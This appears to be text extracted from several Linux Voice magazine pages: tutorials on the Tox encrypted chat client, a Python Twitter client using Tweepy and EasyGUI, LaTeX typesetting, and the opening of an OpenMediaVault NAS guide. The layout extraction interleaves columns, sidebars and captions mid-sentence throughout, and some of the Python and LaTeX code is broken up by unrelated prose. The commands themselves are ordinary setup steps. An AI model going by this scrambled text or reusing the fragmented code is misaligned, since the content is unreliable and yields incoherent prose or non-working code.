programmed before. software again. everywhere should give thanks.
ben@linuxvoice.com
www.linuxvoice.com 75
TUTORIAL TOX
TOX: ENCRYPTED P2P
TUTORIAL
COMMUNICATIONS
The post-Snowdon era of justified paranoia is upon us,
BEN EVERARD
and it’s brought its own software.
S
ince Edward Snowden revealed to the world the at you. It’s a communications system by the people
WHY DO THIS? extent of government surveillance on the for the people.
• Keep your private internet, there has been a drive to create more At the moment, it’s still a little rough around the
conversations safe
from unwanted secure channels to let people communicate in private. edges, but it is working, and it’s getting better quickly.
eavesdropping. Tox is an encrypted peer-to-peer chat system (with Here at Linux Voice, we’re early adopters, especially
• Migrate your social audio and video capabilities) that doesn’t send your when it comes to software that encourages freedom
and work contacts data through central servers where it could be tapped. – in every sense of the word – so we’ve been trying it
away from proprietary
communication The lack of a central server also means that there’s out. We don’t have an awful lot to hide, but that’s not
networks. no company running it for a profit that could hold your the point. Here’s our six-step guide to keeping your
• Blow the whistle on data to ransom or spy on messages to target adverts private chats private using the uTox client.
illegal government
activities without
fear of governments
intercepting the Step by step: Setting up a Tox client
messages.
1
Get the software 2
Installing the software
In order to chat using the Tox network, you’ll need to uTox comes as a tar.xz file. To unzip this, you’ll first
install some software to access it. As it’s quite new, need to install unxz with your package manager. This
not many Linux distributions include anything useful usually comes in a package called xz. Once you’ve got
in their repositories, so you’ll need to install it manually. it, you can extract the archive with:
Tox is the protocol, and there are a few applications tar xJvf utox_linux_amd64.tar.xz
that can access it. There’s a list of Tox clients at The J option signifies the xz compression. You may
https://wiki.tox.im/Binaries. We’ll use uTox for this need to change the filename depending on which
tutorial, but feel free to experiment with others. They version you downloaded.
all work in roughly the same way, so you should find it This should extract a single file called utox. It should
easy to switch. At the moment, most clients are in be executable, so you can run it by entering ./utox
quite active development, so if you find it useful, it’s at the command line. However, this will only work if
worth keeping an eye out to see what’s useful in a you’re in the directory in which you decompressed
few months. the file. To make the program accessible no matter
To get the software, just click on the link for 32- or what directory you’re in, like the rest of the software on
64-bit to start the download (the same build should your machine, you need to copy it into the appropriate
work on most distros). uTox is also available for directory – this is usually /usr/bin. To do this, enter
Windows, so most of this tutorial can be applied to the following in a terminal:
that OS as well. sudo cp utox /usr/bin/
The Tox wiki is also a great place to find out what’s Once this is done, you can run the software by
going on in the Tox world; another useful resource is entering utox (without the ./) at the command line
the Tox subreddit at www.reddit.com/r/projecttox. from anywhere.
76 www.linuxvoice.com
TOX TUTORIAL
3
Creating your profile 4
Adding friends
When you first start uTox, it will create a new ID for Chat networks are all about the contacts you have.
you. Tox IDs are long strings of upper case letters and Tox works on a friend-request basis. That means that
numbers. They’re cryptographically sound, but not if you want to communicate with someone, you first
very nice to look at. Fortunately, you don’t have to use have to send them a friend request. To do this, click on
these IDs for much, and can give yourself a name and the + icon in the bottom-left of uTox, and enter their
status message. It’s this name and status message Tox ID. You can also send them a message to let them
that your friends will see in their lists rather than the know who you are and why you want to contact them.
cryptic Tox ID. If they accept your friend request, they’ll be added
Tox IDs are cryptographic keys that you use to to the friend list on the left-hand side. When they’re
communicate with the other people on the Tox online, a little green circle will appear by their name.
network. There’s no central server that stores or You can only chat with people when they’re online.
records information, and this means that the Tox This is also because there’s no central server. Without
network is a little different from some other popular a central place to store undelivered messages, there’s
chat networks. no way to send anything to people unless they’re
The IDs are saved in the file ~/.config/tox/tox_ online. By the time you read this, it may be possible
save. Since there’s no central server, there’s no place to have avatars, so your friends will have different
to restore this file from, so keep it safe. pictures displayed next to their names.
5
Extra features 6
Getting mobile
Sending text between two people may have been It’s 2014, and it’s no longer acceptable to have a chat
considered sufficient for online chat software in the platform that’s not mobile. Fortunately, Tox is available
90s, but now users expect a lot more. As Tox is still for Android. You can get an APK file of the Antox client
considered alpha quality, there is quite a bit of change from the website in step 1 (it’s not yet in the Play
in the features, and you can expect more to be store). This can be installed on any Android device
released soon. However, even now there are a few with side-loading enabled.
features ready to use. It’s not possible to share a single Tox ID between
In the top-right corner, you should see three green uTox on your desktop and Antox on your mobile, and
icons: a paperclip, a telephone and a video camera. it’s not clear whether it ever will be. As a general rule,
Unsurprisingly, these are for attaching files, making you should have a separate Tox ID for each device
voice calls and making video calls. The odd-looking otherwise you may end up with messages only going
square in the bottom-right is for sending screenshots. to one of the logged-in devices.
Clicking on it will give you a cross-shaped pointer to
outline the rectangle that you want to send.
Audio and video group calls are planned features for
later releases, but not yet implemented.
www.linuxvoice.com 77
TUTORIAL PYTHON & TWITTER
PYTHON:
TUTORIAL
WRITE A TWITTER CLIENT
Why fill up the internet with pointless 140-character drivel yourself
LES POUNDER
when you can write an application to do it for you?
T
his issue we're going to create our own Twitter
WHY DO THIS?
application using Python and two libraries:
• Create your own custom Tweepy, a Twitter Python library, and our old
Twitter application from
less than 50 lines of favourite EasyGUI, a library of GUI elements. This
Python code. project will cover the creation of the application using
• Learn more about how Python and also the configuration of a Twitter
Twitter can be used in application using the Twitter development website
your projects.
dev.twitter.com.
• Delve deeper into the
Python language. Tweepy is a Python library that enables us to create
applications that can interact with Twitter. With
Tweepy we can:
Post tweets and direct messages. To create an application you will need to sign in with the
View our time line. Twitter account that you would like to use with it.
Receive mentions and direct messages.
Search for hashtags. First, open a terminal and type sudo apt-get update
Now you may be thinking “Why would I want to use to ensure that our list of packages is up to date. You
Python with Twitter?” Well, dear reader, quite simply may be asked for your password – once you have
we can use Python to build our own applications that typed it in, press the Enter key.
can use Twitter in any of the ways listed above. But You will now see lots of on-screen activity as your
we can also use Twitter and Python to enable software packages are updated. When this is
interaction between the web and the physical world. complete, the terminal will return control to you, and
We can create a script that searches for a particular now you should type the following to install Pip. If you
hashtag, say #linuxvoice, and when it finds it, an LED are asked to confirm any changes or actions, please
can flash, a buzzer can buzz or a robot can start read the instructions carefully and only answer 'Yes' if
navigating its way around the room. you're happy.
In this tutorial we will learn how to use Tweepy and sudo apt-get install python-pip
how to create our own application. With Pip installed, our attention now shifts to
installing Tweepy, which is accomplished in the same
Downloading Tweepy and EasyGUI terminal window by issuing the following command.
Tweepy The simplest method to install Tweepy on sudo pip install tweepy
At the end of this project
you will have made a your machine is via Pip, a package manager for Installation will only take a few seconds and, when
functional Twitter client Python. This does not come installed as standard on complete, the terminal will return control to you. Now
that can send and receive most machines, so a little command line action is is the ideal time to install EasyGUI, also from the Pip
tweets from your Twitter needed. The instructions below work for all Debian- repositories.
account. and Ubuntu-based distros. pip install easygui
Twitter apps
Twitter will not allow just any applications to use its
platform – all applications require a set of keys and
tokens that grant it access to the Twitter platform.
The keys are:
consumer_key
consumer_secret
And the tokens are:
access_token
access_token_secret
To get this information we need to head over to
https://dev.twitter.com and sign in using the Twitter
account that we wish to use in our project. It might be
78 www.linuxvoice.com
PYTHON & TWITTER TUTORIAL
prudent to set up a test account rather than spam all
of your followers. When you have successfully signed
in, look to the top of the screen and you'll see your
Twitter avatar; left-click on this and select “My
Applications”. You will now see a new screen saying
that you don't have any Twitter apps, so let’s create
our first Twitter app.
To create our first app, we need to provide four
pieces of information to Twitter:
The name of our application.
A description of the application.
A website address, so users can find you. (This can
be completed using a placeholder address.)
Callback_URL. This is where the application should
take us once we have successfully been
authenticated on the Twitter platform. This is not
Creating a new application
relevant for this project so you can either leave it this tutorial. These keys and tokens are sensitive, so
is an easy process, but
blank or put in another URL that you own. don't share them with anyone and do not have them there are a few hoops to
After reading and understanding the terms and available on a publicly facing service. These details jump through in order to be
conditions, click on “I Agree”, then create your first authenticate that it is YOU using this application, and successful.
app. Right about now is an ideal time for a cup of tea. in the wrong hands they could be used to send spam
With refreshment suitably partaken, now is the time or to authenticate you on services that use the OAuth
to tweak the authentication settings. Twitter has auto system.
generated our API key and API secret, which are our With these details in hand, we are now ready to
consumer_key and consumer_secret respectively in write some Python code.
Tweepy. We can leave these as they are. Our focus is
now on the Access Level settings. Typically, a new app Python
will be created with read-only permissions, which For this tutorial, we'll use the popular Python editor
means that the application can read Twitter data but Idle. Idle is the simplest editor available and it provides
not post any tweets of direct messages. In order for all of the functionality that we require. Idle does not
the app to post content, it first must be given come installed as standard, but it can be installed
permission. To do this, click on the “modify app from your distribution’s repositories. Open a new
permissions” link. A new page will open from which terminal and type in the following.
the permissions can be tweaked. For this application, For Debian/Ubuntu-based systems
we need to change the settings to Read and Write. sudo apt-get install idle-python2.7
Make this change and apply the settings. To leave this With Idle now installed it will be available via your
screen, click on the Application Management title at menu, find and select it to continue.
the top-left of the page. Idle is broken down into two areas: a shell where
We now need to create an access token, which ideas can be tried out, and where the output from our
forms the final part of our authentication process. code will appear; and an editor in which we can write
This is located in the API Keys tab. Create a new token larger pieces of code (but to run the code we need to
Applications are set to be
by clicking Create My Access Token. Your token will save and then run the code). Idle will always start with read-only by default, and
now be generated but it requires testing, so scroll to the shell, so to create a new editor window go to File > will require configuration
the top-right of the screen and click “Test OAUTH”. New and a new editor window will appear. To start to enable your application
This will test your settings and send you to the OAuth with, let's look at a simple piece of test code, which will to post content to Twitter.
Settings screen. In here are the keys and tokens that
we need, so please grab a copy of them for later in
Using Tweepy with the Raspberry Pi
Tweepy is a versatile library for building all sorts of internet-
of-things-projects, and it's right at home on the Raspberry
Pi. For example, a simple project that could be an extension
activity from this project, is altering the code so that when
a tweet is successfully sent a green LED is flashed, but
when an error occurs a red LED can be flashed to indicate
the issue. From this simple project to the other end of the
scale and a more challenging project is a home automation
system that can respond to a direct message (DM) that
triggers the heating to come on, or control a web cam
mounted on a servo.
www.linuxvoice.com 79
TUTORIAL PYTHON & TWITTER
forgiveness than for permission”, where try and
except relates to forgiveness and if else refers to
permission. Using the try and except method is seen
as a more elegant solution – you can find out why at
https://docs.python.org/2/glossary.html#term-eafp.
In this case we use try to print each tweet from the
home timeline and then wait for five seconds before
repeating the process. For the except part of the
construction we have two lines of code: a print
function that prints the word “Exiting”, followed by the
sys.exit() function, which cleanly closes the
Using EasyGUI we can
will ensure that our Twitter OAuth authentication is application down.
post new messages to the
desktop via the msgbox working as it should and that the code will print a new With the code complete for this section, save it,
function. tweet from your timeline every five seconds. then press F5 to run the code in the Idle shell.
import tweepy
from time import sleep Sending a tweet
import sys Now that we can receive tweets, the next logical step
In this first code snippet we import three libraries. is to send a tweet from our code. This is surprisingly
The first of these is the tweepy library, which brings easy to do, and we can even recycle the code from the
the Twitter functionality that we require. We import previous step, all the way up to and including:
the sleep function from the time library so that we api = tweepy.API(auth)
can control the speed of the tweets being displayed. And the code to send a tweet can be easily added
Finally we import the sys library so that we can later as the last line:
enable a method to exit the Twitter stream. api.update_status("Tinkering with tweepy, the Twitter API for
consumer_key = "API KEY" Python.")
consumer_secret = "API SECRET" Change the text in the bracket to whatever you like,
access_token = "=TOKEN" but remember to stay under 140 characters. When
access_token_secret = "TOKEN SECRET" you're ready, press F5 to save and run your code.
In this second code snippet we create four variables There will be no output in the shell, so head over to
to store our various API keys and tokens. Remember your Twitter profile via your browser/Twitter client and
to replace the text inside of the “ " with the keys and you should see your tweet.
tokens that you obtained via Twitter. We covered EasyGUI in LV006, but to quickly recap,
auth = tweepy.OAuthHandler(consumer_key, consumer_secret) it's a great library that enables anyone to add a user
auth.set_access_token(access_token, access_token_secret) interface to their Python project. It's easier to use than
For the third code snippet we first create a new Tkinter, another user interface framework, and ideal
variable called auth, which stores the output of the for children to quickly pick up and use.
Tweepy authorisation handler, which is a mechanism For this project we will use the EasyGUI library to
to connect our code with Twitter and successfully create a user interface to capture our status message.
authenticate. We will then add functionality to send a picture saved
api = tweepy.API(auth) on our computer.
public_tweets = api.home_timeline()
The fourth code snippet creates two more Adding a user interface
variables. We access the Twitter API via Tweepy and Open the file named send_tweet.py and let's review
save the output as the variable api. The second the contents.
variable instructs Tweepy to get the user’s home import tweepy
timeline information and save it as a variable called from time import sleep
public_tweets. import sys
for tweet in public_tweets: import easygui as eg
try: This code snippet only has one change, and that is
print tweet.text the last line where we import the EasyGUI library and
sleep(5)
except:
print("Exiting")
sys.exit()
The final code snippet uses a for loop to iterate over
the tweets that have been gathered from your Twitter
home timeline. Next up is a new construction: try and
except. It works in a similar fashion to if and else, but
the try and except construction is there to follow the EasyGUI looks great and is an easy drop-in-replacement
Python methodology that it's “Easier to ask for for the humble print function.
80 www.linuxvoice.com
PYTHON & TWITTER TUTORIAL
rename it to eg. This is a shorthand method to make
using the library a little easier.
consumer_key = "Your Key"
consumer_secret = "Your secret”
access_token = "Your token"
access_token_secret = "Your token"
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)
api = tweepy.API(auth)
These variables are exactly the same as those
previously.
message = eg.enterbox(title="Send a tweet", msg="What
message would you like to send?")
This new variable, called message, stores the
output of the EasyGUI enterbox, an interface that asks
the user a question and captures their response. The
enterbox has a title visible at the top of the box, and
the message, shortened to msg, is a question asked select the image that you wish to attach. Once an Sending an image is made
to the user. image is chosen, its absolute location on your easier via a GUI interface
try: computer is saved as the variable image. The best that enables you to select
length = len(message) place to keep this line of code is just above the line the file that you wish to
if length < 140: where the status message is created and saved as a send. Once selected, it
saves the absolute path to
api.update_status(message) variable called message. With the image selection
the file.
else: handled, now we need to modify an existing line so
eg.msgbox(msg="Your tweet is too long. that we can attach the image to the update.
It is "+str(length)+" characters long") Navigate to this line in your code:
except: api.update_status(message)
sys.exit() And change it to this:
For this final code snippet we're reusing the try api.update_with_media(image, status=message)
except construction. Twitter has a maximum tweet Previously we just sent text, so using the update_
length of 140 characters. Anything over this limit is status function and the message contents was all
truncated, so we need to check that the length is that we needed, but to send an image we need to use
correct using the Python len function. The len the update_with_media function and supply two
function will check the length of the variable and save arguments: the image location, stored in a variable for
the value as the variable length. neatness; and the status update, saved as a variable
With the length now known, our code now checks called message.
to see if the length is less than 140 characters, and if With these changes
this is true it runs the function update_status with the
contents of our message variable. To see the output,
made, save the code
and run it by pressing “Now that we can receive
head back to Twitter and you should see your tweet. F5. You should be tweets, the next logical step is
Congratulations! You have sent a tweet using Python.
Now let's put the icing on the cake and add an image.
asked for the images to
attach to your code, to send a tweet from our code.”
and once that has been
Adding an image to our code selected you will be asked for the status update
The line to add an image to our tweet is as follows message. With both of these supplied, the project will
image = eg.fileopenbox(title="Pick an image to attach to your post your update to Twitter, so head over and check
tweet") that it has worked.
We create a variable called image, which we use to
store the output from the EasyGUI fileopenbox Extension activity
function. This function opens a dialog box similar to a Following these steps, we're managed to make two
File > Open dialog box. You can navigate your files and scripts that can read our timeline and print the output
to the shell, but we can also merge the two together
using an EasyGUI menu and a few functions. The code
Where can I find the completed code?
for this activity is available via the GitHub repository,
All of the code for this project can be downloaded from so feel free to examine the code and make the
Les' GitHub repository https://github.com/lesp/LinuxVoice_ application your own.
Twitter_Tweepy.
If you are not a GitHub user, you can still download the
Les Pounder is a maker and hacker specialising in the
code as a Zip file from https://github.com/lesp/LinuxVoice_
Raspberry Pi and Arduino. Les travels the UK training
Twitter_Tweepy/archive/master.zip. teachers in the new computing curriculum and Raspberry Pi.
www.linuxvoice.com 81
TUTORIAL LATEX
COMPOSE BEAUTIFUL
TUTORIAL
TEXT WITH LATEX
Or: how one perfectionist PhD student was able to compose his
VALENTINE SINITSYN
thesis in a month and was completely happy with how it looked.
D
onald Knuth, the author of The Art of Computer
WHY DO THIS? Programming, is one of the biggest names in
• Save time formatting computer science. When he received proofs
your texts. of the second edition of this book in early 1977, he
• Enter formulas quickly found them awful – so awful he decided to write his
and intuitively. own typesetting system. So Tex was born. By 1984, No tutorial can go without a “Hello, World!” example.
• Make your documents Leslie Lamport extended Tex with a set of macros
look like CS classic.
known today as Latex. Tex provides layout features; Tex. For documents with predefined formatting (like
Latex, (which translates to Tex) operates on higher- official reports) you are likely to find Latex templates
level objects. where you just need to write original content and have
Linux already comes with plenty of modern options everything else formatted properly automatically. And
for processing text documents, so why waste time as Latex can produce PDFs or PostScript files, you
with a solution that’s three decades old? There never have to worry that the document will look or
are plenty of reasons, but in short: Latex does a print differently elsewhere.
brilliant job for complex structured texts that need Finally, Latex is not just about texts. You can
a professional look. You can use it for anything: my use it to make beautiful (albeit non-interactive)
mom typesetted our family cookbook entirely in Latex presentations. Wikipedia also uses Latex to render
back in the nineties, but nowadays there is probably formulas in the articles.
not much reason to do so. However, if you are
preparing a science report, a course project or even a Let’s start typing
thesis, Latex can save you a good amount of time. It In a nutshell, Latex is somewhat akin to HTML (albeit
lets you focus on the contents, and takes care of all older). Documents are composed in plain text files
the visualisation and “book keeping”. It chooses the (conventionally carrying a .tex suffix) that contain
right fonts, indentations special “tags” recognised by the latex command. It
“Latex does a brilliant job for and spacings, does compiles the document and produces a DVI (DeVice
complex structured texts that
enumerations, tracks Independent) file that can be viewed directly or
cross-references, converted to PDF or PostScript. It is also possible to
need a professional look.” generates tables of produce PDFs directly with pdfTex.
contents and indices. Sure, As Latex documents are plain text, you can write
a word processor can do a them in your editor of choice: basic Latex support
lot of this too, but Latex takes it to the whole new level. like syntax highlighting is usually offered. There
Converting an article to a book with Latex is simply a are, however, specialised Latex editors with more
matter of switching to another document class. Many advanced features like smart autocompletion, output
Texmaker is one of many science magazines provide their own Latex classes, preview or navigation. Of those, my personal favourite
dedicated Latex editors. and may charge you for papers not submitted in is Texmaker (www.xm1math.net/texmaker). It’s cross-
platform, free and built with Qt.
Tex itself comes in various distributions (not to
be confused with the Linux distributions it runs on).
They contain all the tools, common packages and
document classes (which we’ll discuss shortly). For
Linux, the most popular Tex distribution is probably
Tex Live (www.tug.org/texlive); see the boxout for
installation tips. If you still have Windows machines
around, try MikTex (www.miktex.org). Both are free
software, although commercial Tex distributions exist
as well.
If you need more, you can always use CTAN: the
Comprehensive Tex Archive Network (www.ctan.org).
It’s a central repository for almost any Latex package,
82 www.linuxvoice.com
LATEX TUTORIAL
What’s in the name?
The letter “X” in “Latex” (and “Tex”) is a Greek letter “chi”,
pronounced as /k/. So the name has nothing to do with
rubber. Letters in “LaTeX” are also traditionally aligned in
a slightly unusual way (see the image ). To do this in your
documents, use the \LaTeX{} command.
class etc, and if you can’t find something there,
chances are it doesn’t exists at all.
I guess you are a bit bored with reading words by
now: let’s write some of them. Open a text editor and
compose a simple Latex document:
\documentclass[a4paper,12pt]{article}
\usepackage[utf8]{inputenc}
% Hyphenation patterns
\usepackage[english]{babel}
\author{Valentine Sinitsyn}
\title{The obligatory greeting}
Latex formulas can be
\begin{document} \section{First section}\label{sec}
embedded in paragraph
Hello, brave new \LaTeX{} world! This is the first paragraph of Sect.~\ref{sec}, which is on p.~\ text or come on their own.
\end{document} pageref{sec} in our document. For more information, see \
Despite being short, this example already ref{subsec}.
introduces some important aspects. Tex commands \subsection{Subsection}\label{subsec}
begin with a slash, and accept parameters either in This is a subsection that ought to contain more information, but
square or in curly brackets. As you probably guessed, really it has none.
square brackets are used for optional arguments. The \maketitle command just renders a title set
Comments start with a percentage sign; if you need a previously in the preamble. Paragraphs are separated
literal % symbol, use a \% command. with a blank line. The \subsection command creates a
Latex documents start with a preamble that subsection header, and again, Latex chooses the exact
sets the document class and imports the required font size, typeface etc automatically (as per document
Latex packages with the \usepackage{} command. class). The tilde character inserts a non-breaking
Here, the class is article with 12pt font size on A4 space, so references will always stay on the same line
paper. Other standard classes include book, report with Sect. and p. (it’s a recommended practice).
and letter. Document class greatly influences the What’s new here is the \label{} command. You
document appearance. For example, can think of it as a way to give a place in the text a
\documentclass{book} will make the document meaningful name (stubs like sec shouldn’t appear
double-sided, start chapters on odd pages, and add in real world documents). Later, you can include a
some automatic headers and footers. reference to the label with either the \ref{} or
\begin{document} and \end{document} \pageref{} commands. The first one references a
commands create an “environment”, where the body section (or equation, or figure, or something else)
of your document goes. Here, it’s trivial (for the by number, like ‘1’ or ‘1.1’. A neat thing is that Latex
\LaTeX{} command, see the sidebar). does the enumeration automatically, so if you put
Now, save the file under the name hello.tex and another subsubsection before the subsec label, the
compile with: cross-references will stay correct (although the latex
latex hello.tex command might ask you to run itself twice to update
If you typed everything correctly, you’ll get a references, otherwise they will appear in the text as
hello.dvi file that you can view with Evince (Gnome/ ??). \pageref puts a reference to the page where the
Unity), Okular (KDE) or xdvi (comes with TeX Live). To
convert DVI to PDF or PostScript, use the dvipdf or
Latex vs your favourite text suite
dvips commands, respectively. If you use a dedicated
TeX editor like Texmaker, these steps will be performed Latex is a great tool, but as with everything references.
it has its pros and cons. They are quite Texts that must adhere to strict formatting
automatically when you build the document.
subjective and depend on how skilled a Latex rules.
user you are – I know several people using Better try something else for:
Some more words Latex for all their documents with no trouble. Small texts with simple formatting (use
This was of course a very basic example. To let Latex Nevertheless, here is a quick side-by-side Writer).
show its powers, something more sophisticated is comparison: Texts with artistic irregular structure, like
Consider Latex for: in LV (Scribus).
needed, like this (this goes into the ‘document’
Scientific texts, like papers or thesis. Interactive presentations or spreadsheets
environment from the example above): Texts with many formulas and cross- (Impress/Calc).
\maketitle
www.linuxvoice.com 83
TUTORIAL LATEX
is used for subscripts. If they span more than one
character, use curly brackets (this is the rule for
many other formatting commands in Latex as well):
$a^xa^y=a^{x+y}$. Fractions are created with
\frac{nominator}{denominator}. They don’t usually
look good in word processor documents, but Latex
does a great job of aligning them properly.
Of course, you’re free to write more complex math,
like series summation or integrals:
\sum\limits_{n=1}^{\infty}{\frac{1}{n^2}}=\frac{\pi^2}{6}
This example combines all of the concepts we’ve
already discussed, and introduces some new ones.
First, there’s the \limits command to put summation
limits at conventional positions (above and below the
summation sign, not in the upper-right and lower-right
corners, as _ and ^ do alone). Then, it has the
\infty command to render the infinity symbol, and
finally \pi for a Greek letter ‘pi’. If you need a capital ‘pi’,
use the \Pi command, and \Delta produces the well
If you are a chemist, Latex is here to help you make benzene look even cooler. Benzene’s known triangle-like letter. Yes, it’s that simple.
structure was discovered after Friedrich Kekulé had a crazy dream in front of the fire. Latex renders most mathematical functions you
know about (and maybe some you aren’t even aware
label resides, and again Latex does all the bookkeeping of). The respective commands are named after the
for you. functions, and you only need to prepend a slash, like
this:
Do simple math \sin^2(\phi)+\cos^2(\phi)=1
Formulas in Latex come in two flavours: text and Plain parentheses don’t adjust their sizes to match
displayed. The former are rendered inline; the latter are arguments. To produce scaling parentheses, use the
printed separately from the main text: \left( and \right) commands like so:
The relationship between mass and energy, $E=mc^2$, is widely \sin\left(\alpha\right)=2\sin\left(\frac{\alpha}{2}\right)\cos\
known and even appears in commercials. left(\frac{\alpha}{2}\right)
\left and \right also work for brackets and curly
The Pythagorean theorem states that for $a$, $b$, and $c$ braces. Latex is smart enough to match \lefts to
being sides of a right triangle: \rights, and will issue a compilation error if you
missed anything:
\begin{equation} LaTeX2e <2011/06/27>
a^2 = b^2 + c^2 Babel <3.9h> and hyphenation patterns for 2 languages loaded.
\end{equation} ...
Latex enumerates displayed formulas automatically ! Missing \right. inserted.
(see the image on page 87). If you don’t need this, use <inserted text>
the equation* environment (defined in the amsmath \right .
package) instead of equation. Finally, Latex can easily add all sorts of decoration
If you ever created formulas in OpenOffice.org/ you may need for your math texts, like arrows
LibreOffice Math, Latex will feel a bit familiar to you. A (for vectors) or hats (for matrices and operators).
circumflex (^) denotes a superscript, and underscore Consider the following:
\left(\vec x,\vec y\right)=\left|\vec x\right|\left|\vec y\right|\
Where do I get Tex? cos\alpha
Note that for single-letter arguments, like x and y
The easiest way to obtain software (Tex Live by yourself and use tlmgr utility to get above, you can omit curly brackets. Also keep in mind
included) in Linux is to use packages from any package you need from CTAN. You’ll
that accents don’t scale (try \vec{x+y}), as it wouldn’t
your distribution repositories. These usually miss automated updates from your Linux
contain everything you need to build a basic vendor, so be prepared. If you only need make much sense (mathematically).
Tex system and many popular extensions a single specific package from CTAN, you
from CTAN, only a mouse click away. can also install it in the prepackaged Tex And even fine arts
Depending on which Linux flavour you use, Live manually, following instructions in the At this point you may start thinking that Latex is cool
they can be cutting-edge or quite outdated. package manual. However, this is the last
but of a little use to you, as you don’t write math. While
In Ubuntu, these packages names start with resort, so better stick to the completely
texlive-. The texlive-base command installs prebuilt (simpler) or ‘vanilla’ variant. this might be true, Latex has something to offer for
a bare minimum, while texlive provides a If you get stuck, remember that those form other branches of science as well.
decent selection of the Tex Live packages. StackOverflow.com has a complete Let’s take chemistry. I’m not very good in it, but I
If your distribution packages miss sister site dedicated to Tex: http://tex. was able to recall that alkalis neutralise (otherwise
something crucial for you, install latest Tex stackexchange.com.
quite dangerous) acids. For sulphuric acid,
84 www.linuxvoice.com
LATEX TUTORIAL
Latex inside
This tutorial showed how to use Latex on its own. However,
Latex also empowers several well-known software suits.
First, there is Lyx (www.lyx.org) – a visual graphical
WYSIWYM (What You See Is What You Mean) document
processor that matches Writer’s intuitiveness to Latex’s
abilities. Lyx is not Latex, but is a good alternative with a
flat learning curve.
LilyPond (www.lilypond.org) is non-visual, more Latex-
like system for music engraving. If the abc package seems
limited, you should probably give LilyPond a try. For easier
editing, look at Frescobaldi (www.frescobaldi.org).
Barely understandable for those like me, but it looks good nevertheless.
neutralisation can be represented by the reaction on
show above-left. music) can be used to enrich your texts with some
To reproduce the equation from that figure, try this: tunes:
\documentclass{article} \documentclass{article}
\usepackage[version=3]{mhchem} \usepackage{abc}
\begin{document} \begin{document}
\ce{2KOH + H2SO4 -> K2SO4 v + H_2O} You can include notes into your \LaTeX{} documents as well:
\end{document} % ABC notation is used here, see http://en.wikipedia.org/wiki/
The key is the mhchem package (from texlive- ABC_notation
science) that I included on the second line. Chemical \begin{abc}
species and equations are passed as \ce{} command X:1
arguments. Indices are subscripted (or superscripted) T:London Bridge Is Falling Down
automatically, and you can put whatever sorts of M:2/4
arrows you need. L:1/8
Another thing you often see in chemical texts is K:D
structural formulae. You can draw them in specialised A>B AG|FGA2|EFG2|FGA2|
software, but with Latex, it is easy to include such A>B AG|FGA2|E2A2|FDD2|
diagrams directly in text, like this: \end{abc}
\documentclass{article} \end{document}
\usepackage{chemfig} For this to compile, you’ll need to install the
\begin{document} abcm2ps tool with your package manager. Then, pass
\chemfig{C*6(-C(-[6]H)=C(-[7]H)-C(-[1]H)=C(-[2]H)-C(-[3]H)=) the --shell-escape option to the latex or pdflatex
(-[5]H)} command:
\end{document} pdflatex --shell-escape london_bridge.tex
This time, I used the chemfig Latex package (which As with chemfig, the notes aren’t directly viewable
comes in texlive-pictures) to render a benzene in DVI.
molecule (\ce{C6H6}). The C*6 part means we are
drawing a hexagon (six sides), and C is its first vertex. Follow your route
The first pair of parentheses contain the hexagon’s Here we come to an end of our brief excursion into the
sides (hyphens mean single bond and equals symbols Latex world. I hope you agree now that Latex isn’t a
mean double bonds) and remaining vertices (carbon scary beast from the pre-PC era, and can save you
atoms marked as C). The inner parentheses (and time and effort even 30 years after its initial
the last ones) are for branches (hydrogen atoms). introduction. And you’ve probably already guessed
Numbers in brackets set a branch direction (in 45 that we merely scratched the surface in this tutorial.
degree units, counter-clockwise). Note that DVI With Latex, you can do many other things we haven’t
displays the diagram wrong, and to preview the even mentioned: generate tables of contents and
results, you’ll need to convert the output to PostScript insert figures (with automatic enumeration and
or PDF first, or use the pdflatex command to references, of course), prepare nice PDF presentations
produces a PDF directly: with the beamer package, maintain a bibliography,
pdflatex benzene.tex and much more.
evince benzene.pdf There are books written on Latex, and there’s so
If you are not into sciences, but into arts, Latex can much more that it can do. If you do anything with text,
also prove itself useful. For example, you can use it to you may well have found your new favourite tool.
print music sheets. There is a specialised Tex-based
software called LilyPond built just for these purposes Dr Valentine Sinitsyn has committer rights in KDE but prefers
(see the sidebar), but pure Latex will fit the bill as well. to spend his time mastering virtualisation and doing clever
things with Python.
Packages like musixtex or abc (found in texlive-
www.linuxvoice.com 85
TUTORIAL OPENMEDIAVAULT
OPENMEDIAVAULT:
TUTORIAL
NAS FOR EVERYONE
A former FreeNAS developer brings the power of the popular
MAYANK SHARMA
FreeBSD-based NAS solution closer home to Debian.
D
espite being open source software, the user. The command lists all the connected devices
WHY DO THIS? most-popular NAS solution, FreeNAS, is at and the partitions inside them. Identify the plugged-in
• Access data from best only a cousin of the Linux operating USB disk from the list and make note of its device
any computer on the system. It’s based on FreeBSD, uses the ZFS name, such as /dev/sdb. Now assuming your USB
network. filesystem, and is more suitable for large-scale disk is /dev/sdb and the OMV image is under your
• Fuse life into a dated enterprise-wide deployments than the sort of home home directory, the command dd if=~/
computer that has
lots of storage but low projects beloved of Linux users. If you’re a Linux user openmediavault_1.0.20_amd64.iso of=/dev/sdb
processing power. looking for a simple but effective tool for housing and bs=4096 will transfer it on to the USB disk. You can
• Create data redundancy managing data, the Debian-based OpenMediaVault then use this media to install OMV on to a hard disk.
for important data by (OMV) is a better bet. OMV needs a 2 GB hard disk for installation. But
easily setting up a RAID
array. OMV is developed by a former FreeNAS developer, remember that you can’t store data on this drive. So
and is designed to cater to the average home office even if you install OMV on a 20 GB,disk you’ll not be
user. Unlike other solutions, OMV is straightforward to able to use it to keep data. If you can’t find a 2 GB hard
roll out and simple to manage. Its browser-based user disk, the OMV website suggests using a CF Card or a
interface is also more suitable for non-technical users. USB drive for installing OMV. However, if you use
You can connect to it via all the popular services, such removable for the OMV installation, make sure it’s got
as SSH, SMB/CIFS, FTP, rsync, etc. The distro is static wear levelling so the constant filesystem access
modular and can be extended with a variety of official doesn’t have an adverse effect on its lifespan.
and third-party plugins. For instance, you can turn the
NAS into a torrent client to download data directly into Web interface
the NAS storage or use it to stream stored music. Installing OMV is pretty straightforward. The setup
OMV has recently hit version 1.0 and is available as wizard will prompt you for the keyboard layout and the
an installable 361 MB ISO image. The distro doesn’t language. You’ll then be asked to choose a hostname
have exotic hardware requirements, and you can and the domain name for the NAS device. The
install it on an old unused computer with just 1GB of hostname helps identify this computer on your
RAM. If you have multiple hard disks, you can ask network. Unless you’re familiar with the settings of
You can also install OMV
OMV to organise the disks into a RAID array. your network, it’s best to go with the default values.
on a Raspberry Pi, and
